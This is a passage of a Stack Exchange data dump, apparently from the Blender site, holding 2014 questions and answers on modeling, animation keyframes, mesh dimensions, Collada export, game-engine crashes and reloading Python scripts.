ContentLicense="CC BY-SA 3.0" />
  <row Id="18924" PostTypeId="2" ParentId="18853" CreationDate="2014-11-16T12:10:53.153" Score="2" Body="&lt;p&gt;Tris are very important for exporting to other applications, especially game engines, as those very often work with tris internally.&lt;br/&gt;&#xA;But as poor says, model in quads and let the exporter handle the conversion. It's usually easiest.&lt;/p&gt;&#xA;" OwnerUserId="3376" LastActivityDate="2014-11-16T12:10:53.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18925" PostTypeId="1" AcceptedAnswerId="18927" CreationDate="2014-11-16T12:38:03.043" Score="5" ViewCount="592" Body="&lt;p&gt;I've been trying to figure this out for a while now without getting anywhere so could somebody help me please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to create a shape that starts flat and ends the same way as on the image below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XWygq.png&quot; alt=&quot;image &quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead I've been achieving these results image2 and image3. I've been trying to rotate but without getting the result that I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YXRxD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p859N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get one curved shape that starts as in image 3 and ends as in image 2?&#xA;To create this I made a curve and applied two modifiers array modifier and curve modifier. &lt;/p&gt;&#xA;" OwnerUserId="8027" LastActivityDate="2014-11-16T13:31:51.060" Title="Curve rotation problem" Tags="&lt;bezier-curves&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18926" PostTypeId="1" CreationDate="2014-11-16T12:52:50.720" Score="1" ViewCount="427" Body="&lt;p&gt;I've made an oversized UV texture and keyframed the mesh face position on the UV map using AnimAll in order to change the image during an animation. Rendering the animation confirms the texture change works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when after exporting to .dae the texture stays the same throughout. Is there a step I've missed or is this a limitation of the file format?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot&lt;/p&gt;&#xA;" OwnerUserId="8028" LastActivityDate="2014-12-16T14:50:05.603" Title="Keyframed UV map not exporting in .dae?" Tags="&lt;animation&gt;&lt;uv&gt;&lt;collada&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18927" PostTypeId="2" ParentId="18925" CreationDate="2014-11-16T13:08:42.743" Score="4" Body="&lt;p&gt;Try to rotate an object in 'Edit Mode' (using &lt;em&gt;proportional editing&lt;/em&gt;). Remember to match the curve origin with the object origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qxuvW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gt8vC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2014-11-16T13:31:51.060" LastActivityDate="2014-11-16T13:31:51.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18928" PostTypeId="2" ParentId="18926" CreationDate="2014-11-16T14:12:52.553" Score="2" Body="&lt;p&gt;Blenders Collada exporter doesn't support Key framed UV's, also not sure if any other applications support exporting them.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-11-16T14:12:52.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18929" PostTypeId="2" ParentId="18916" CreationDate="2014-11-16T14:16:15.223" Score="18" Body="&lt;p&gt;Update, this is working in Blender 2.81 (see: &lt;a href=&quot;https://developer.blender.org/T68401&quot; rel=&quot;nofollow noreferrer&quot;&gt;T68401&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Use the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enter Editmode&lt;/li&gt;&#xA;&lt;li&gt;Set the Selection type to &lt;strong&gt;Faces&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select all&lt;/li&gt;&#xA;&lt;li&gt;Vertices -&gt; Merge -&gt; By Distance&lt;/li&gt;&#xA;&lt;li&gt;Deselect all&lt;/li&gt;&#xA;&lt;li&gt;Select -&gt; Select All by Trait -&gt; Interior Faces&lt;/li&gt;&#xA;&lt;li&gt;Delete&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;You say &lt;strong&gt;Select -&gt; Select All by Trait -&gt; Interior Faces&lt;/strong&gt; didn't work; I expect it's because you didn't remove doubles first&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Tip&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;After this, try &lt;strong&gt;Limited Dissolve&lt;/strong&gt;, it gets rid of redundant geometry which can be useful in examples like this (if you don't have UV's or per-face materials set differently on each face).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2019-09-08T17:12:23.093" LastActivityDate="2019-09-08T17:12:23.093" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="18930" PostTypeId="1" CreationDate="2014-11-16T16:44:43.010" Score="9" ViewCount="3386" Body="&lt;p&gt;I'm building a model completely in python. This means that I start with an empty scene, and all I want to do is run a python command that creates all meshes and objects. I'm building this python script in vi, just because blender is amazing 3D software, but lousy at making a decent text editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Off topic: The main reason for building my model this way, is that I want to have complete control over what I build, complete reproducibility, and I get to store my model in github, having proper version control and clear change sets. I would certainly be interested in hearing some off-topic reactions on how I could do this better/differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While developing this script, I constantly want to reload, from scratch, change a line in my script, reload, etc. I was wondering what the best way to achieve this is. My requirements:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It has to be simple, a couple of keystrokes, since I'm doing this multiple times per minute.&lt;/li&gt;&#xA;&lt;li&gt;I don't want to restart blender every time, just because it takes a couple of seconds to start blender, and because the blender window doesn't appear in the right spot by default (this latter is possibly fixable).&lt;/li&gt;&#xA;&lt;li&gt;Preferably I start from a new state (as in: File -&gt; new) or in a known saved state (File --&gt; open). Between reruns I do things in the interface and I may accidentally alter some property without knowing it. Ideally this would be reset on the next run.&lt;/li&gt;&#xA;&lt;li&gt;Preferably the execution is triggered by the Python Console, so that errors appear there (and not in the bash console used to start blender).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Things I've tried so far:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Loop over all objects and delete them&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I can manually try to delete all objects (using the method described here): &lt;a href=&quot;http://blenderscripting.blogspot.nl/2012/03/deleting-objects-from-scene.html&quot; rel=&quot;nofollow&quot;&gt;http://blenderscripting.blogspot.nl/2012/03/deleting-objects-from-scene.html&lt;/a&gt;&#xA;This doesn't quite work (it crashes if there are hidden objects), but this is probably solvable. However it doesn't satisfy my 3rd requirement. It does allow my to make 1 oneliner that loops over all objects, delete them, and then runs my script again.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Using &lt;code&gt;bpy.ops.wm.read_homefile()&lt;/code&gt; to get to the new state&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Using this command I can get to the new state, however this also resets the python console, meaning that any subsequent command gets ignored and I can't up-arrow anymore to get it back.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Use &lt;code&gt;bpy.ops.wm.open_mainfile()&lt;/code&gt; to get to a known saved state&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This suffers from the same problem as the previous &lt;code&gt;bpy.ops.wm.read_homefile&lt;/code&gt;, however it allows me to save some history in the python console, so I can up-arrow to it. It works, sort of, but not ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all of the above settings, I used&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;exec(compile(open(filename).read(), filename, &quot;exec&quot;))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to execute the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My latest plan is to use modules (however I think it would work just as well with the above &lt;code&gt;exec&lt;/code&gt; command), and the undo history. Calling operators from a script doesn't add them to the undo history, so if after the running of the script I push onto the undo stack, I can then cmd-Z my way to the previous state. I could probably. When I start, I run once (single is my module name):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;import sys; import importlib; sys.path.append(&quot;/path/with/my/module&quot;); import single;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I use the oneliner&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;importlib.reload(single); single.build_single((20,25,0)); bpy.ops.ed.undo_push()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;whenever I want to see how my program runs. When I'm ready to do a new run, I cmd-Z until I'm back at the beginning (most of the time once, sometimes I did some manual operations and need to press it more often).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somehow I feel however that there must be a better way to do this, to reset the scene to some saved or new state, while the python script keeps running....&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT 2015-5-5&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I still haven't found a good solution to this problem. However since all I really needed was to make relatively simple 3D objects for printing on my 3D printer and sending of to Shapeways, I found &lt;a href=&quot;http://www.openscad.org&quot; rel=&quot;nofollow&quot;&gt;OpenSCAD&lt;/a&gt; more suitable, and 100% text based, which allows me easy checkins into git and changesets. Don't get me wrong, I think Blender is the tool for amazing 3D rendered images and animations, for my use however it was overkill.&lt;/p&gt;&#xA;" OwnerUserId="8006" LastEditorUserId="8006" LastEditDate="2015-05-05T11:58:38.380" LastActivityDate="2015-05-05T11:58:38.380" Title="Reset blender environment on each script run" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18931" PostTypeId="2" ParentId="18916" CreationDate="2014-11-16T17:29:20.357" Score="2" Body="&lt;p&gt;It may not be the super fast method, but in case of huge objects it could be useful.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Delete interior faces (&lt;strong&gt;Select--&gt; Interior Faces&lt;/strong&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Select the whole object and choose (&lt;strong&gt;Mesh--&gt; Clean up--&gt; Fill Holes&lt;/strong&gt;)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/K6XAt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select the whole mesh, unwrap it using &lt;em&gt;'Smart UV Project'&lt;/em&gt; and click the 'sync button'. Now select the parts which are the ngons.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qRLrW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt; to see only selected parts in 3d view. Fill the gaps extruding edges with snap tool enabled. Use &lt;kbd&gt;Shift&lt;/kbd&gt;+ &lt;kbd&gt;R&lt;/kbd&gt; to fasten the process.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QYSNb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2014-11-16T17:29:20.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18932" PostTypeId="1" AcceptedAnswerId="18933" CreationDate="2014-11-16T18:23:00.737" Score="6" ViewCount="24203" Body="&lt;p&gt;I have about 30 objects which are keyframed. Is there a fast way way to delete all the animation data from all of them?&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="599" LastEditDate="2014-11-16T18:29:10.830" LastActivityDate="2014-11-16T19:07:03.993" Title="How to delete all the keyframes from multiple objects?" Tags="&lt;animation&gt;&lt;editing&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18933" PostTypeId="2" ParentId="18932" CreationDate="2014-11-16T18:26:48.053" Score="12" Body="&lt;p&gt;The fastest way I can think of:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all the objects&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8592; Left arrow&lt;/kbd&gt; twice to get the the &lt;em&gt;Animation&lt;/em&gt; screen.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hover over the dope sheet and select everything (&lt;kbd&gt;A&lt;/kbd&gt;), then press &lt;kbd&gt;&amp;#8998; Delete&lt;/kbd&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E4d3U.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-11-16T19:07:03.993" LastActivityDate="2014-11-16T19:07:03.993" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18934" PostTypeId="1" AcceptedAnswerId="18935" CreationDate="2014-11-16T18:42:17.393" Score="6" ViewCount="7534" Body="&lt;p&gt;So far i have been modeling by making both sides of a model but i got annoyed have to make exact changes to each side. Is their a way to make only one side of the model?&lt;/p&gt;&#xA;" OwnerUserId="8033" LastActivityDate="2014-11-16T19:16:49.280" Title="Is their a way to create half of a model and duplicate other side" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18935" PostTypeId="2" ParentId="18934" CreationDate="2014-11-16T18:46:10.100" Score="6" Body="&lt;p&gt;&lt;strong&gt;Yes there definitely is.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the &lt;em&gt;mirror modifier&lt;/em&gt;,  this will mirror your model across its origin (or any other object's origin) and merge the vertices along the seam if you want as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this first add the mirror modifier to the object in the &lt;em&gt;modifiers&lt;/em&gt; panel.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FGI7L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entire mesh will be mirrored across the object's origin along the selected axis.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Zbje1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/inWK2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can tell it to merge the vertices along the seam by checking &lt;em&gt;merge&lt;/em&gt; and adjusting the &lt;em&gt;merge limit&lt;/em&gt; to set how close together vertices must be to be merged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to mirror across the origin you can use any other object's origin as the mirror point.  I usually use an &lt;em&gt;empty&lt;/em&gt;, an empty is just a non-renderable object that is used in situations like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this first add an empty under &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;empty&lt;/em&gt; &gt; &lt;em&gt;plain axes&lt;/em&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jIvxO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the empty in the &lt;em&gt;mirror object&lt;/em&gt; dropdown of the mirror modifier.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MskH5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NohxO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2014-11-16T19:04:45.493" LastActivityDate="2014-11-16T19:04:45.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18936" PostTypeId="1" AcceptedAnswerId="19001" CreationDate="2014-11-16T19:08:36.617" Score="2" ViewCount="1974" Body="&lt;p&gt;I am using the Blender Game render for keyframing physics, but when I play it back, it is so slow (the keyframes are close to each other, the closest they can get, but it is still slow). Is there a way I can speed this up in the graph editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, and unrelated question:&#xA;After I keyframe with Blender Game, can I go back to Cycles Render without affecting the timeline?&lt;/p&gt;&#xA;" OwnerDisplayName="user7831" LastActivityDate="2014-11-18T04:13:53.617" Title="How do I speed up Blender Game animation?" Tags="&lt;rendering&gt;&lt;game-engine&gt;&lt;physics&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18937" PostTypeId="2" ParentId="18934" CreationDate="2014-11-16T19:16:49.280" Score="5" Body="&lt;p&gt;The best way to do it is mirroring. But there is an allternate method :).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the whole mesh and check the 'X Mirror' and 'Topology Mirror' in the &lt;em&gt;'Tool Options'&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EsaQB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you edit one side of the mesh the other one behave the same.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HXqOq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2014-11-16T19:16:49.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18938" PostTypeId="1" AcceptedAnswerId="18939" CreationDate="2014-11-16T20:19:37.387" Score="7" ViewCount="431" Body="&lt;p&gt;In the following scene, I have a camera parented to a missile. When the missile collides with any collision mesh, it disappears. The logic setup is pictured below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rKyyS.png&quot; alt=&quot;logic setup of missile.&quot;&gt;&lt;br&gt;&#xA;However, when the missile disappears, blender crashes.&#xA;Why does this happen and how can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-12-16T18:38:21.927" LastActivityDate="2015-12-16T18:38:21.927" Title="Why does blender crash when my missile disapears in the BGE?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18939" PostTypeId="2" ParentId="18938" CreationDate="2014-11-16T20:19:37.387" Score="13" Body="&lt;p&gt;This happens because the camera is parented to the missile. When the missile disappears, so does the camera. When the camera disappears, there is no longer anything sending the output to the display. This creates the problem, because blender can't update the display, and Blender crashes. You can fix this by having a &lt;em&gt;scene actuator&lt;/em&gt; to set the camera to a different one. Then there will still be something sending output to the display. Logic setup below.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iDyTo.png&quot; alt=&quot;fix logic problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-04-04T17:55:29.373" LastActivityDate="2015-04-04T17:55:29.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18940" PostTypeId="1" CreationDate="2014-11-16T20:25:31.307" Score="0" ViewCount="37" Body="&lt;p&gt;Look at the link, This is how I want mine to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=pGhDONzY-BM&quot; rel=&quot;nofollow&quot;&gt;A youtube clip of a blender game.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is my error&#xA;I am working on a game similar to Zelda / Mario games.&#xA;in the 3d world. But I do not get the image / video to be fine.&#xA;I only see a few feet ahead. then it's gray&#xA;I want to get rid of it.&#xA;Hope you understand my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Soory My English is not so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit!&#xA;I &lt;/p&gt;&#xA;&#xA;&lt;p&gt;//&#xA;Robin Willmann&lt;/p&gt;&#xA;" OwnerUserId="8037" LastEditorUserId="8037" LastEditDate="2014-11-17T10:09:53.023" LastActivityDate="2014-11-17T10:09:53.023" Title="I can only see a few feet ahead in Game engine" Tags="&lt;camera&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-11-18T00:36:14.697" ContentLicense="CC BY-SA 3.0" />
  <row Id="18941" PostTypeId="1" AcceptedAnswerId="18942" CreationDate="2014-11-16T20:38:31.043" Score="11" ViewCount="34392" Body="&lt;p&gt;I've set &quot;Meters&quot; as the unit I want to use, with a 1.0000 scale, which means that every square on the grid is 1 meter, right? &#xA;Now, I want to set a cube to be exactly 1.5m tall (for example), how do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to set the scale in the &quot;scale&quot; section in the object tab, but there's a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is with scale set to 1 on every direction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bn8RB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You see, it takes up 2 squares on the grid for each side. I mean, look at the top side, it takes up 2 squares. If every square is 1 meter, it means that the top side is 2 meters long, right? &#xA;If I want it to be 1 meter long I have to se the scale to 0.5, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jZ60P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point is... I've set the scale to 1.0000, as I said, so 1 should be 1 meter...&#xA;Did I miss something or this is right?&lt;/p&gt;&#xA;" OwnerUserId="5236" LastActivityDate="2020-04-11T20:43:04.003" Title="Set dimensions of a mesh" Tags="&lt;mesh&gt;&lt;dimensions&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18942" PostTypeId="2" ParentId="18941" CreationDate="2014-11-16T20:40:37.970" Score="10" Body="&lt;p&gt;That's correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;scale&lt;/em&gt; is an arbitrary number which is used to offset the size of the mesh from it's original state. It doesn't refer to the actual size of the mesh, just how much bigger or smaller it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you are looking for the &lt;em&gt;dimensions&lt;/em&gt; values in the &lt;em&gt;properties region&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mV7kn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the &lt;em&gt;dimensions&lt;/em&gt; will set the scale values to the appropriate value to make the mesh a certain size, e.g. 2.5m tall:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g7D9m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-11-16T20:46:02.683" LastActivityDate="2014-11-16T20:46:02.683" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="18944" PostTypeId="2" ParentId="18354" CreationDate="2014-11-16T22:48:13.023" Score="1" Body="&lt;p&gt;Another solution which I wasn't aware until now and works in newer versions of the Blender for fire and smoke, is just to select the object, then click space, and type quick smoke. All the properties necessary for the smoke to show up in 3D view and render are all correct and all works like a charm in seconds.&lt;/p&gt;&#xA;" OwnerUserId="7769" LastActivityDate="2014-11-16T22:48:13.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18945" PostTypeId="1" AcceptedAnswerId="18946" CreationDate="2014-11-16T22:52:02.110" Score="15" ViewCount="27234" Body="&lt;p&gt;Is there a simple way to change the thickness of a curved tube without scaling its overall size?&lt;br&gt;&#xA;E.g. scaling the minor radius of an already created torus without affecting its major radius or change the bevel width of a curve that has already been converted to a mesh.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2019-01-11T18:26:56.087" Title="Making a curved tube thinner or thicker without scaling its overall size" Tags="&lt;modeling&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18946" PostTypeId="2" ParentId="18945" CreationDate="2014-11-16T23:20:45.953" Score="27" Body="&lt;p&gt;Yes, in edit mode you can use &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; to scale along vertex normals instead of from the median point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can scale this...&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Szsl1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To this...&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/e3SMt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To this...&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6A9DH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also works for bezier curves as well, even without converting to mesh.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-11-16T23:20:45.953" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18947" PostTypeId="1" CreationDate="2014-11-17T00:07:44.387" Score="0" ViewCount="560" Body="&lt;p&gt;How can I cut 2 bezier circles and then join them to make one continuous loop and then extrude a circle along the loop? Then texture it to make it look like a garden hose like my StackExchange profile picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not a duplicate. It is a different form of moebius loop.&lt;/p&gt;&#xA;" OwnerUserId="2025" LastEditorUserId="2617" LastEditDate="2014-11-17T00:20:25.327" LastActivityDate="2014-11-17T00:54:33.093" Title="How to construct a moebius loop using bezier curves" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18948" PostTypeId="2" ParentId="18947" CreationDate="2014-11-17T00:45:40.587" Score="1" Body="&lt;p&gt;If you have activated the Add mesh: Extra objects, you can use the XYZ surface to create a shape that looks like your avatar. The parameter you'll want to experiment with in the image below, is the 1.5. It controls the size of the inner loop. The 2 controls the number of loops.&lt;br&gt;&#xA;I used the formula for an epicycloid (&lt;a href=&quot;http://en.wikipedia.org/wiki/Epicycloid&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Epicycloid&lt;/a&gt;) and modified it slightly, to give it depth.&lt;br&gt;&#xA;Once it looks good, convert it to a curve and put a bevel on it.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ITifa.png&quot; alt=&quot;How to create an epicycloid&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I realise that this isn't exactly what you wanted to do, but if you add bars between the loops, it should pretty accurately reproduce the kind of image you want.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2014-11-17T00:54:33.093" LastActivityDate="2014-11-17T00:54:33.093" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="18949" PostTypeId="1" AcceptedAnswerId="18950" CreationDate="2014-11-17T04:05:19.237" Score="3" ViewCount="1478" Body="&lt;p&gt;I was working on blender game engine, and I have no idea how to change scene using python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an actuator set in to change scene, but I don't understand how&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made a sample &lt;a href=&quot;https://www.dropbox.com/s/q3gajcxasv1c2dt/break_demo.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;blend file&lt;/a&gt; . What I want to do here is to switch to changed_scene using the actuator change_scene (Under player logic) using python. I need to know this, because I am making a game and the game requires switching scenes when the player dies.&lt;/p&gt;&#xA;" OwnerUserId="7591" LastActivityDate="2015-04-05T21:44:47.670" Title="How can I change a scene using python BGE" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;scene&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
